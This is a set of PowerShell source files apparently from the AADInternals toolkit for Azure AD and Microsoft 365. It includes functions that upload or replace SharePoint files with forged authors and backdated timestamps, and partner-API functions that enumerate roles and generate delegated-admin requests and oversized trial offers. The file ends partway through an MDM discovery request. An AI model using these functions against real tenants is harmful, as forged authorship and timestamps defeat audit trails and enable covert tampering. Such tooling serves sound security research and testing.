function Add-SPOSiteFiles
{
<#
.SYNOPSIS
Send given file(s) to given SPO site.
.DESCRIPTION
Send given file(s) to given SPO site using SharePoint Migration Tool protocol.
.Parameter Site
Url of the SharePoint site
.Parameter FolderName
Name of the folder where to send the files. Relative to site, e.g., "Shared Documents/General"
.Parameter Files
The name(s) of file(s) to be sent to SPO.
.Parameter UserName
The username to be used as an author of the file(s). Defaults to "SHAREPOINT\System".
.Parameter TimeCreated
Creation time of the file(s). Defaults to creation time of the file(s) to be sent.
.Parameter TimeLastModified
Last modified time of the file(s). Defaults to modification time of the file(s) to be sent.
.Example
PS C:\>Get-AADIntAccessTokenForSPO -SaveToCache
PS C:\>Add-AADIntSPOSiteFiles -Site "https://company.sharepoint.com/sales" -Folder "Shared Documents" -Files "C:\share\Document1.docx","C:\share\Document2.docx"
Sending 2 files as "SHAREPOINT\system" to site "https://company.sharepoint.com/sales/Shared Documents"
11/28/2022 08:59:35.042 JobQueued
11/28/2022 09:01:55.986 JobLogFileCreate
11/28/2022 09:01:56.018 JobStart
11/28/2022 09:01:57.580 JobEnd
2 files (2,322,536 bytes) created.
.Example
PS C:\>Get-AADIntAccessTokenForSPO -SaveToCache
PS C:\>Add-AADIntSPOSiteFiles -Site "https://company.sharepoint.com/sales" -Folder "Shared Documents" -Files "C:\share\Document1.docx","C:\share\Document2.docx" -UserName "[email protected]" -TimeCreated "1.1.1970 01:00" -TimeLastModified "1.1.1970 02:00"
Sending 2 files as "i:0#.f|membership|[email protected]" to site "https://company.sharepoint.com/sales/Shared Documents"
11/28/2022 08:59:35.042 JobQueued
11/28/2022 09:01:55.986 JobLogFileCreate
11/28/2022 09:01:56.018 JobStart
11/28/2022 09:01:57.580 JobEnd
2 files (2,322,536 bytes) created.
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$Site,
[Parameter(Mandatory=$True)]
[string]$FolderName,
[Parameter(Mandatory=$True)]
[string[]]$Files,
[Parameter(Mandatory=$False)]
[string]$UserName="SHAREPOINT\System",
[Parameter(Mandatory=$False)]
[DateTime]$TimeCreated=(Get-Date),
[Parameter(Mandatory=$False)]
[DateTime]$TimeLastModified=$TimeCreated
)
Process
{
# Add files to SPO
Send-SPOFiles -Site $Site -FolderName $FolderName -Files $Files -UserName $UserName -TimeCreated $TimeCreated -TimeLastModified $TimeLastModified
}
}
# Replace a given file on SPO site - including design files
# Mar 9th 2023
function Update-SPOSiteFile
{
<#
.SYNOPSIS
Replaces an existing file in SPO site with the given file.
.DESCRIPTION
Replaces an existing file in SPO site with the given file using SharePoint Migration Tool protocol.
.Parameter Site
Url of the SharePoint site
.Parameter File
The name of the file to be sent to SPO.
.Parameter UserName
The username to be used as an author of the replaced file. Defaults to current author of the file.
.Parameter TimeCreated
Creation time of the file. Defaults to current creation time of the existing SPO file.
.Parameter TimeLastModified
Last modified time of the file. Defaults to current last modification time of the existing SPO file.
.Parameter RelativePath
Path of the file to be replaced relative to site, e.g., "Shared Documents/Document.docx"
.Example
PS C:\>Get-AADIntAccessTokenForSPO -SaveToCache
PS C:\>Update-AADIntSPOSiteFile -Site "https://company.sharepoint.com/sales" -RelativePath "Shared Documents/Document1.docx" -File "UpdatedDocument.docx"
Sending 1 files as "i:0#.f|membership|[email protected]" to site "https://company.sharepoint.com/sales/Shared Documents"
11/28/2022 08:59:35.042 JobQueued
11/28/2022 09:01:55.986 JobLogFileCreate
11/28/2022 09:01:56.018 JobStart
11/28/2022 09:01:57.580 JobEnd
1 files (322,536 bytes) created.
.Example
PS C:\>Get-AADIntAccessTokenForSPO -SaveToCache
PS C:\>Update-AADIntSPOSiteFile -Site "https://company.sharepoint.com/sales" -RelativePath "Shared Documents/Document1.docx" -File "UpdatedDocument.docx" -UserName "[email protected]" -TimeCreated "1.1.1970 01:00" -TimeLastModified "1.1.1970 02:00"
Sending 1 files as "i:0#.f|membership|[email protected]" to site "https://company.sharepoint.com/sales/Shared Documents"
11/28/2022 08:59:35.042 JobQueued
11/28/2022 09:01:55.986 JobLogFileCreate
11/28/2022 09:01:56.018 JobStart
11/28/2022 09:01:57.580 JobEnd
1 files (322,536 bytes) created.
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$Site,
[Parameter(Mandatory=$True)]
[string]$File,
[Parameter(ParameterSetName="Id",Mandatory=$True)]
[Guid]$Id,
[Parameter(ParameterSetName="RelativePath",Mandatory=$True)]
[string]$RelativePath,
[Parameter(Mandatory=$False)]
[string]$UserName,
[Parameter(Mandatory=$False)]
[DateTime]$TimeCreated,
[Parameter(Mandatory=$False)]
[DateTime]$TimeLastModified
)
Process
{
$Site=$Site.TrimEnd("/")
# Get the file information
$fileInformation = Get-SPOSiteFile -Site $Site -Id $Id -RelativePath $RelativePath
# Set to default values if not provided
if([string]::IsNullOrEmpty($UserName))
{
$UserName = $fileInformation.Author
}
if(-Not $TimeCreated)
{
$TimeCreated = $fileInformation.TimeCreated
}
if(-Not $TimeLastModified)
{
$TimeLastModified = $fileInformation.TimeLastModified
}
# Get folder information
$folderInformation = Get-SPOSiteFolder -Site $Site -Id $fileInformation.ParentId
$FolderName = $folderInformation.Name
# Replace the target file
Send-SPOFiles -Site $Site -FolderName $FolderName -Files @($fileInformation.Name) -UserName $UserName -TimeCreated $TimeCreated -TimeLastModified $TimeLastModified -Id $fileInformation.Id -LocalFile $File
}
}
|
MSPartner.ps1 | AADInternals-0.9.4 | # This file contains functions for MS Partner operations.
# List partner organizations
# Sep 22nd 2021
function Get-MSPartnerOrganizations
{
<#
.SYNOPSIS
Lists partner organisations of the logged in user. Does not require permissions to MS Partner Center.
.DESCRIPTION
Lists partner organisations of the logged in user. Does not require permissions to MS Partner Center.
.Parameter AccessToken
The access token used to get the list of partner organisations.
.Example
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
PS C:\>Get-AADIntMSPartnerOrganizations
id : 9a0c7346-f305-4646-b3fb-772853f6b209
typeName : Tenant
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
MPNID : 8559543
companyName : Partner Ltd
address : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
contact : @{firstName=Partner; lastName=Manager; [email protected]; phoneNumber=+1 234567890}
id : 60a0020f-bd16-4f27-a23c-104644918834
typeName : PartnerGlobal
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
MPNID : 8559542
companyName : Partner Ltd
address : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
contact : @{firstName=Partner; lastName=Manager; [email protected]; phoneNumber=+1 234567890}
id : 297588a4-5c2a-430e-ae1e-b16c5d944a7d
typeName : PartnerLocation
name : Partner Ltd, US, PARTNERVILLE
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
MPNID : 8559543
companyName : Partner Ltd
address : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
contact : @{firstName=Partner; lastName=Manager; [email protected]; phoneNumber=+1 234567890}
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Invoke the API call
#$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "accountenrollments/v1/partnerorganizations"
# /accounts doesn't require partner credentials :)
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "accountenrollments/v1/accounts"
if($response.items.Count -gt 0)
{
$accounts = $response.items
$ids = ($accounts | Select-Object -ExpandProperty id) -join ","
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "accountenrollments/v1/accountexternalresourcekeys?accountIds=$ids&keyType=mpnId"
$mpnIds = $response.items | Select-Object -Property accountId,keyValue
foreach($account in $accounts)
{
# Add MPN ID and remove unneeded properties
$account | Add-Member -NotePropertyName "MPNID" -NotePropertyValue ($mpnIds | Where-Object accountId -eq $account.id | Select-Object -ExpandProperty keyValue)
$account.PSObject.Properties.Remove("cid")
$account.PSObject.Properties.Remove("attributes")
$account.PSObject.Properties.Remove("status")
$account.PSObject.Properties.Remove("accountType")
# Get & add legal entity information
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "accountenrollments/v1/legalentities/$($account.legalEntityCid)?basicInfoOnly=false"
$account | Add-Member -NotePropertyName "companyName" -NotePropertyValue $response.profiles[0].companyName
$account | Add-Member -NotePropertyName "address" -NotePropertyValue $response.profiles[0].address
$account | Add-Member -NotePropertyName "contact" -NotePropertyValue $response.profiles[0].primaryContact
}
$accounts
}
}
}
# List partner publishers
# Sep 22nd 2021
function Get-MSPartnerPublishers
{
<#
.SYNOPSIS
Lists partner publishers of the logged in user.
.DESCRIPTION
Lists partner publishers of the logged in user.
.Parameter AccessToken
The access token used to get the list of partner publishers.
.Example
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
PS C:\>Get-AADIntMSPartnerPublishers
name mpnId programCodes
---- ----- ------------
Company Ltd 7086220 {1, 99, 223}
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$body = "{""aadTenantId"":""$((Read-Accesstoken $AccessToken).tid)"",""isBasicAccount"":true,""program"":""Azure""}"
# Invoke the API call
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://partner.microsoft.com/en-us/dashboard/account/v3/api/accounts/search" -Headers $headers -Body $body -ContentType "application/json"
$response
}
}
# List available offers of the partner organisation
# Sep 22nd 2021
function Get-MSPartnerOffers
{
<#
.SYNOPSIS
Lists available offers of the partner organisation.
.DESCRIPTION
Lists available offers of the partner organisation.
.Parameter AccessToken
The access token used to get the list of partner offers.
.Parameter Type
Type of the offers to list. Can be Trial or Purchase.
.Parameter CountryCode
Two letter country code. Defaults to "US".
.Parameter Locale
Locale. Defaults to "en-US".
.Example
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
PS C:\>Get-AADIntMSPartnerOffers
id : 01824D11-5AD8-447F-8523-666B0848B381
name : Azure Active Directory Premium P1 Trial
productName : Azure Active Directory Premium P1
unit : Licenses
minimumQuantity : 25
maximumQuantity : 10000000
term : 1
termUnitOfMeasure : Month
learnMoreLink : https://aka.ms/office-365/0
programCode : 99
id : 0A845364-6AA2-4046-8198-6CF6461F7F2B
name : Project Plan 3 Trial
productName : Project Plan 3
unit : Licenses
minimumQuantity : 25
maximumQuantity : 10000000
term : 1
termUnitOfMeasure : Month
learnMoreLink : https://aka.ms/office-365/0
programCode : 99
id : 0F5B471A-08EF-4E69-ABB0-BB4DA43F0344
name : Visio Plan 2 Trial
productName : Visio Plan 2
unit : Licenses
minimumQuantity : 25
maximumQuantity : 10000000
term : 1
termUnitOfMeasure : Month
learnMoreLink : https://aka.ms/office-365/1268
programCode : 99
.Example
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
PS C:\>Get-AADIntMSPartnerOffers | Format-Table id,name,maximumQuantity
id name maximumQuantity
-- ---- ---------------
01824D11-5AD8-447F-8523-666B0848B381 Azure Active Directory Premium P1 Trial 10000000
0A845364-6AA2-4046-8198-6CF6461F7F2B Project Plan 3 Trial 10000000
0F5B471A-08EF-4E69-ABB0-BB4DA43F0344 Visio Plan 2 Trial 10000000
101BDE18-5FFB-4D79-A47B-F5B2C62525B3 Office 365 E5 Trial 10000000
10DDC3DA-B394-42B8-BB45-37F7CBA40981 Office 365 F3 Trial 10000000
121ACBBF-05EE-4C97-98B6-31DC25879186 Exchange Online Protection Trial 10000000
15C64B7B-475C-414C-A711-9C7CC0310F0E Common Area Phone Trial 10000000
204A8E44-C924-4BFB-AA90-DDF42DC0E18A Project Plan 1 Trial 10000000
248D15A4-0B1D-494B-96D2-C93D1D17205E Microsoft 365 F1 Trial 10000000
2A3F5C07-BBB2-4786-857C-054F5DDD3486 Microsoft 365 Apps for enterprise Trial 10000000
32F37F52-2F8A-428F-82EA-92B56A44E1A7 Microsoft 365 F3 Trial 10000000
3C9462FF-5045-4A71-A7A6-5A7EC82911CF OneDrive for Business (Plan 2) Trial 10000000
467EAB54-127B-42D3-B046-3844B860BEBF Microsoft 365 Business Standard Trial 300
47128319-73FF-4A7B-B96F-A3E8B14728E2 Microsoft 365 Business Premium Trial 300
4F188E46-77E9-4693-A2E2-65433499159B Domain Subscription 1-year Trial 1
503D4D1D-0169-4E1F-AE26-DB041C54C5C4 Microsoft 365 E5 Information Protection and Governance Trial 10000000
508CDA15-1DEB-4135-9C54-4D691A705353 Exchange Online Archiving for Exchange Server Trial 10000000
60265DB3-1D66-40AF-8342-A861655E218A Domain Subscription 1-year Trial 1
62F0E3F1-B224-4D22-B98D-761DB2A43ACD Meeting Room Trial 10000000
757C4C34-D589-46E4-9579-120BBA5C92ED Microsoft Cloud App Security Trial 10000000
7809E406-FCF6-4C06-8BFD-7C020E77046A Visio Plan 1 Trial 10000000
7B74C69A-2BFC-41C9-AAF1-23070354622D Microsoft 365 E5 Insider Risk Management Trial 10000000
8339CC50-D965-4AD5-BB94-749021A5EBF9 Windows Store for Business Trial 10000000
8368AC6A-5797-4859-B2EC-4D32330277C9 Microsoft 365 Apps for business Trial 300
A43415D3-404C-4DF3-B31B-AAD28118A778 Azure Information Protection Premium P1 Trial 10000000
B07A1127-DE83-4A6D-9F85-2C104BDAE8B4 Office 365 E3 Trial 10000000
BDA7A87A-FFD0-4B20-B4D9-A3B48EBD70B9 OneDrive for Business (Plan 1) Trial 10000000
C6CA396F-4467-4761-95F6-B6D9A5386716 Microsoft 365 E5 eDiscovery and Audit Trial 10000000
D59682F3-3E3B-4686-9C00-7C7C1C736085 Power BI Pro Trial 10000000
DDC284E8-D5FA-4EAE-AC29-C8A52C237B7B Project Online Essentials Trial 10000000
E56A8505-FEEA-4B75-BD30-BD2959D77943 Microsoft 365 E3 Trial 10000000
EBE94500-8C76-457C-8D3F-EB40CE524BC0 Microsoft Kaizala Pro Trial 10000000
F6F20264-E785-4749-BD8E-884BAB076DE4 Microsoft 365 E5 Trial 10000000
1760F437-30BF-42F8-950C-B111DDFA4EF8 Dynamics 365 Sales Professional Trial 10000000
5CC5F505-815F-4DA6-9203-74B5017F2432 Dynamics 365 Customer Service Enterprise Trial 10000000
70274D52-B96A-482A-ACA1-D0066E0F7FEB Dynamics 365 Sales Insights Trial 10000000
B285FC76-2E9C-47D2-95C9-9EAE32578354 Dynamics 365 Customer Insights Trial 10000000
BD569279-37F5-4F5C-99D0-425873BB9A4B Dynamics 365 Customer Engagement Plan Trial 10000000
E516657E-6146-4866-8F06-2F8B7F494608 Power Virtual Agent Trial 10000000
EAC27224-2BB3-42CF-9D84-0D9A0DC80898 Dynamics 365 Marketing Trial 10
F97F075B-4FB7-4E6D-8168-E28A85C54EE9 Dynamics 365 Customer Service Insights Trial 10000000
0D5E0E30-4B24-429F-B826-33B3F021B8BD Microsoft Intune Device Trial 10000000
2E481A78-9C3C-4FDF-ABBF-C7268201397A Microsoft Stream Trial 10000000
33657A0F-4B2B-453B-A58E-99469D6E58A0 Power Automate per user plan Trial 10000000
40BE278A-DFD1-470A-9EF7-9F2596EA7FF9 Microsoft Intune Trial 10000000
83D3609A-14C1-4FC2-A18E-0F5CA7047E46 Power Apps per user plan Trial 10000000
87DD2714-D452-48A0-A809-D2F58C4F68B7 Enterprise Mobility + Security E5 Trial 10000000
A0DB242A-96D7-4F99-BD52-05C0D5556257 Azure Advanced Threat Protection for Users Trial 10000000
C38088A5-CD04-440E-A46B-85873D58BB26 Power Automate per user with attended RPA plan Trial 10000000
FAF849AB-BD30-42B2-856C-8F1EDC230CE9 Azure Active Directory Premium P2 Trial 10000000
87857ADF-3D82-4AD3-9861-F6E076401ADD Dynamics 365 Guides Trial 10000000
CCA26D6B-360E-44AB-8376-C17F30A8ACF7 Dynamics 365 Remote Assist Trial 10000000
D6B9A50A-E0F7-4366-842A-8C30B6D67CDC Dynamics 365 Remote Assist Attach Trial 10000000
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[ValidateSet('Trial','Purchase')]
[String]$Type="Trial",
[Parameter(Mandatory=$False)]
[String]$CountryCode="US",
[Parameter(Mandatory=$False)]
[String]$Locale="en-US"
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Invoke the API call
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "internal/v1/quote/offers?inviteType=$Type&countryCode=$CountryCode&locale=$Locale"
$response.items
}
}
# Creates a new trial offer
# Sep 22nd 2021
function New-MSPartnerTrialOffer
{
<#
.SYNOPSIS
Creates a new trial offer.
.DESCRIPTION
Creates a new trial offer. Allows providing more licenses than in standard trial offers (up to 10 million).
The working limit seems to be around 10000 licenses.
.Parameter AccessToken
The access token used to create an trial offer.
.Parameter ProductIds
Ids of products to include in the trial offer
.Parameter CountryCode
Two letter country code. Defaults to "US".
.Parameter Quantity
Quantity of licenses for the product. Defaults to 25.
.Parameter PartnerId
MS Partner id.
.Parameter IncludeDelegatedAdministrationRequest
Whether include delegated administration request
.Example
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
PS C:\>Get-AADIntMSPartnerOffers | Format-Table id,name,maximumQuantity
id name maximumQuantity
-- ---- ---------------
01824D11-5AD8-447F-8523-666B0848B381 Azure Active Directory Premium P1 Trial 10000000
0A845364-6AA2-4046-8198-6CF6461F7F2B Project Plan 3 Trial 10000000
0F5B471A-08EF-4E69-ABB0-BB4DA43F0344 Visio Plan 2 Trial 10000000
PS C:\>New-MSPartnerTrialOffer -PartnerId 7086220 -ProductIds 0F5B471A-08EF-4E69-ABB0-BB4DA43F0344 -Quantity 9999
Offer saved to a file: Offer_a1041c87-aad3-4653-a93a-0b20aa3e570a.json
https://portal.office.com/partner/partnersignup.aspx?type=Trial&id=a1041c87-aad3-4653-a93a-0b20aa3e570a&msppid=7086220
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[guid[]]$ProductIds,
[Parameter(Mandatory=$False)]
[String]$CountryCode="US",
[Parameter(Mandatory=$True)]
[int]$PartnerId,
[Parameter(Mandatory=$False)]
[int]$Quantity=25,
[Parameter(Mandatory=$False)]
[bool]$IncludeDelegatedAdministrationRequest = $false
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$items=@()
$line = 0
foreach($id in $ProductIds)
{
$items += New-Object -TypeName psobject -Property ([ordered]@{
"lineItemNumber" = $line++
"offerId" = $id.ToString().ToUpper() # MUST be in upper case
"partnerId" = $PartnerId
"includedQuantity" = $Quantity
})
}
$body = @{
"items" = $items
"countryCode" = $CountryCode
"delegatedAdministrationPartnerRequested" = $IncludeDelegatedAdministrationRequest
}
# Invoke the API call
try
{
$response = Invoke-MSPartnerAPI -Method Post -AccessToken $AccessToken -Url "internal/v1/advisorquote" -Body ($body | ConvertTo-Json)
}
catch
{
Write-Error ($_.ErrorDetails.Message | ConvertFrom-Json).description
return
}
# Filename
$fileName = "Offer_$($response.id).json"
# Url
$Url = "https://portal.office.com/partner/partnersignup.aspx?type=Trial&id=$($response.id)&msppid=$PartnerId"
# Write to file
$response | ConvertTo-Json | Set-Content $fileName
Write-Host "Offer saved to a file: $fileName"
return $Url
}
}
# Creates a new delegated admin request
# Sep 22nd 2021
function New-MSPartnerDelegatedAdminRequest
{
<#
.SYNOPSIS
Creates a new delegated admin request.
.DESCRIPTION
Creates a new delegated admin request.
.Parameter TenantId
TenantId of the partner organisation.
.Parameter Domain
Any registered domain of the partner organisation.
.Example
PS C:\>New-AADIntMSPartnerDelegatedAdminRequest -Domain company.com
https://admin.microsoft.com/Adminportal/Home?invType=Administration&partnerId=c7e52a77-e461-4f2e-a652-573305414be9#/BillingAccounts/partner-invitation
.Example
PS C:\>New-AADIntMSPartnerDelegatedAdminRequest -TenantId c7e52a77-e461-4f2e-a652-573305414be9
https://admin.microsoft.com/Adminportal/Home?invType=Administration&partnerId=c7e52a77-e461-4f2e-a652-573305414be9#/BillingAccounts/partner-invitation
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='TenantId',Mandatory=$True)]
[guid]$TenantId,
[Parameter(ParameterSetName='Domain',Mandatory=$True)]
[String]$Domain
)
Process
{
if($Domain)
{
$TenantId = Get-TenantID -Domain $Domain
}
return "https://admin.microsoft.com/Adminportal/Home?invType=Administration&partnerId=$TenantId#/BillingAccounts/partner-invitation"
}
}
# Get partner roles
# Dec 13th 2021
function Get-MSPartnerRoles
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Invoke the API call
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "v1/roles"
if($response.items.Count -gt 0)
{
$retVal = @()
$roles = $response.items
foreach($role in $roles)
{
# Just get the partner roles
if($role.category -ne "tenant")
{
$retVal += New-Object psobject -Property ([ordered]@{"Id" = $role.id; "Name" = $role.name})
}
}
$retVal
}
}
}
# Get partner role member
# Dec 13th 2021
function Get-MSPartnerRoleMembers
{
<#
.SYNOPSIS
Lists MS Partner roles and their members
.DESCRIPTION
Lists MS Partner roles and their members
.Parameter AccessToken
The access token used to get the list of partner organisations.
.Example
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
PS C:\>Get-AADIntMSPartnerRoleMembers
Id Name Members
-- ---- -------
0e7f236d-a3d8-458a-bd49-eaf200d12cd5 Admin Agent {@{displayName=Admin; userPrincipalNa...
082cc3a5-2eff-4274-8fe1-ad5b4387ef55 Helpdesk Agent {@{displayName=User; userPrincipalN...
6b07cbb3-16e4-453a-82f4-7a4310c21bc9 MPN Partner Administrator @{displayName=User 1; userPrincipalN...
e760e836-1c2d-47d2-9dee-92131ce57878 Report Viewer
9ac2b88b-6fad-416c-b849-433f8090de68 Executive Report Viewer @{displayName=User 2; userPrincipalN...
B53FEC78-7449-4A46-A071-C8BEF4A45134 Account Admin
8d3c7e52-447f-4cfd-9b50-1e4dd00495b7 Cosell Solution Admin
0a28a37c-ec3a-462a-a87b-c409abbdba68 Incentive Administrator
f712b351-0d8f-4051-a374-0abab5a49b5b Incentive User
140c97a7-ab21-4c2f-8f3b-9086898de0d5 Incentive Readonly User
3d8005f3-1d34-4191-9969-b6da64b83777 Marketing Content Administrator
4b38bcd9-a505-445b-af32-06c05aaeddd7 Referrals Administrator
2d9bb971-5414-4bc7-a826-079da1fa0c93 Referrals User
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Get the roles
$roles = Get-MSPartnerRoles -AccessToken $AccessToken
# Get the members
foreach($role in $roles)
{
# Invoke the API call
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "v1/roles/$($role.id)/usermembers"
if($response.items.Count -gt 0)
{
$members = $response.items | select displayName,userPrincipalName
$role | Add-Member -NotePropertyName "Members" -NotePropertyValue $members
}
}
$roles
}
}
# Finds MS Partners
# Dec 14th 2021
function Find-MSPartners
{
<#
.SYNOPSIS
Finds MS Partners using the given criteria.
.DESCRIPTION
Finds MS Partners using the given criteria.
.Parameter MaxResults
Maximum number of partners to return. Defaults to 100.
.Parameter Country
Two letter country code
.Example
PS C:\>Find-AADIntMSPartners -Country FI -MaxResults 20 | Sort-Object CompanyName
TenantId CompanyName Country Address
-------- ----------- ------- -------
6f28e5b8-67fe-4207-a048-cc17b8e13499 Addend Analytics LLP FI @{country=FI; region=Europe; city...
12f4ed76-f694-4b1e-9b57-c3849eea3f6c CANORAMA OY AB FI @{country=FI; region=Europe; city...
bff3224c-767a-4628-8c53-23a4df13a03c CloudNow IT Oy FI @{country=FI; region=Europe; city...
719dc930-9d0e-4ea4-b53e-a2c65a625979 Cloudriven Oy FI @{country=FI; region=Europe; city...
6f1ff46b-bd45-422f-ad28-485c03cd59fc Cubiq Analytics Oy FI @{country=FI; region=Europe; city...
6fce4bb8-3501-41c9-afcc-db0fb51c7e3d Digia FI @{country=FI; region=Europe; city...
87fc9aba-de47-425e-b0ac-712471cbb34f Fujitsu Limited FI @{country=FI; region=Europe; city...
a951d4b8-d93b-4425-a116-6a0b4efbb964 Futurice Oy FI @{country=FI; region=Europe; city...
4b4e036d-f94b-4209-8f07-6860b3641366 Gofore Oyj FI @{country=FI; region=Europe; city...
4eee4718-7215-41bf-b130-25ce43c85b33 Henson Group FI @{country=FI; region=Europe; city...
b6602c2f-7bd6-49d3-a2aa-f0b0359a73ef Henson Group Service Ireland Limited FI @{country=FI; region=Europe; city...
7c0c36f5-af83-4c24-8844-9962e0163719 Hexaware Technologies FI @{country=FI; region=Europe; city...
99ebba89-0dd9-4b7b-8f23-95339d2a81e1 IBM FI @{country=FI; region=Europe; city...
1c8672ad-d9cc-4f59-b839-90be132d96ab IFI Techsolutions Pvt Ltd FI @{country=FI; region=Europe; city...
1e3ee4c0-94a9-45a4-9151-07e1858e6372 InlineMarket Oy FI @{country=FI; region=Europe; city...
431fbbea-8544-49f8-9891-e8a4e4756e83 Medha Hosting (OPC) Ltd FI @{country=FI; region=Europe; city...
04207efa-4522-4391-a621-5708a40b634d MPY Yrityspalvelut Oyj FI @{country=FI; region=Europe; city...
8c467c92-8e59-426e-a612-e23d69cb4437 Myriad Technologies FI @{country=FI; region=Europe; city...
50950a2d-dde4-4887-978d-630468d7f741 Solteq Plc FI @{country=FI; region=Europe; city...
eab8b88b-cf1a-441a-9ad9-6a8d94dcccbb Solu Digital Oy FI @{country=FI; region=Europe; city...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[int]$MaxResults=100,
[Parameter(Mandatory=$False)]
[string]$Country,
[Parameter(Mandatory=$False)]
[ValidateSet("Consulting","Custom solution","Deployment or Migration","Hardware","IP Services(ISV)","Integration","Learning and Certification","Licensing","Managed Services (MSP)","Project management")]
[string[]]$Services
)
Process
{
if($Domain)
{
$TenantId = Get-TenantID -Domain $Domain
}
if($services)
{
$servicesParameter = ";services=$([System.Web.HttpUtility]::UrlEncode(($services -join ",")))"
}
$totalresults = 0
$offSet = 0
$pageSize = 20
$first=$true
# For book keeping, returns many duplicates :(
$foundTenants = @()
while($totalResults -lt $MaxResults)
{
$url = "https://main.prod.marketplacepartnerdirectory.azure.com/api/partners?filter=pageSize=$pageSize;pageOffset=$offSet;country=$Country;onlyThisCountry=true$servicesParameter"
# Invoke the API call
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri $url
# Print out the estimated number of results
if($first)
{
Write-Host "Estimated total matches: $($response.estimatedTotalMatchingPartners)"
$first = $false
}
# Adjust the max results as needed
$MaxResults = [math]::Min($MaxResults,$response.estimatedTotalMatchingPartners)
$items = $response.matchingPartners.items
# Loop through the items
foreach($item in $items)
{
if($foundTenants -notcontains $item.partnerId)
{
$totalResults++
$foundTenants += $item.partnerId
$attributes = [ordered]@{
"TenantId" = $item.partnerId
"CompanyName" = $item.name
"Country" = $item.location.address.country
"Address" = $item.location.address
}
New-Object psobject -Property $attributes
}
}
# Continue as needed
if($items.count -eq $pageSize)
{
# More items
$offSet += $pageSize
}
else
{
# Got all
break
}
}
}
}
|
MDM_utils.ps1 | AADInternals-0.9.4 | # This file contains utility functions for Intune MDM
# Get MDM discovery information
# Aug 20th
function Get-MDMEnrollmentService
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$UserName="[email protected]"
)
Process
{
$messageId = $(New-Guid).ToString()
$deviceType = "CIMClient_Windows"
$applicationVersion = "10.0.18363.0"
$OSEdition = "4"
$body=@"
<s:Envelope xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:s="http://www.w3.org/2003/05/soap-envelope">
<s:Header>
<a:Action s:mustUnderstand="1">http://schemas.microsoft.com/windows/management/2012/01/enrollment/IDiscoveryService/Discover</a:Action>
<a:MessageID>urn:uuid:$messageId</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<a:To s:mustUnderstand="1">https://enrollment.manage.microsoft.com:443/enrollmentserver/discovery.svc</a:To>
</s:Header>
<s:Body>
<Discover xmlns="http://schemas.microsoft.com/windows/management/2012/01/enrollment">
<request xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<EmailAddress>$UserName</EmailAddress>
<RequestVersion>4.0</RequestVersion>
<DeviceType>$deviceType</DeviceType>
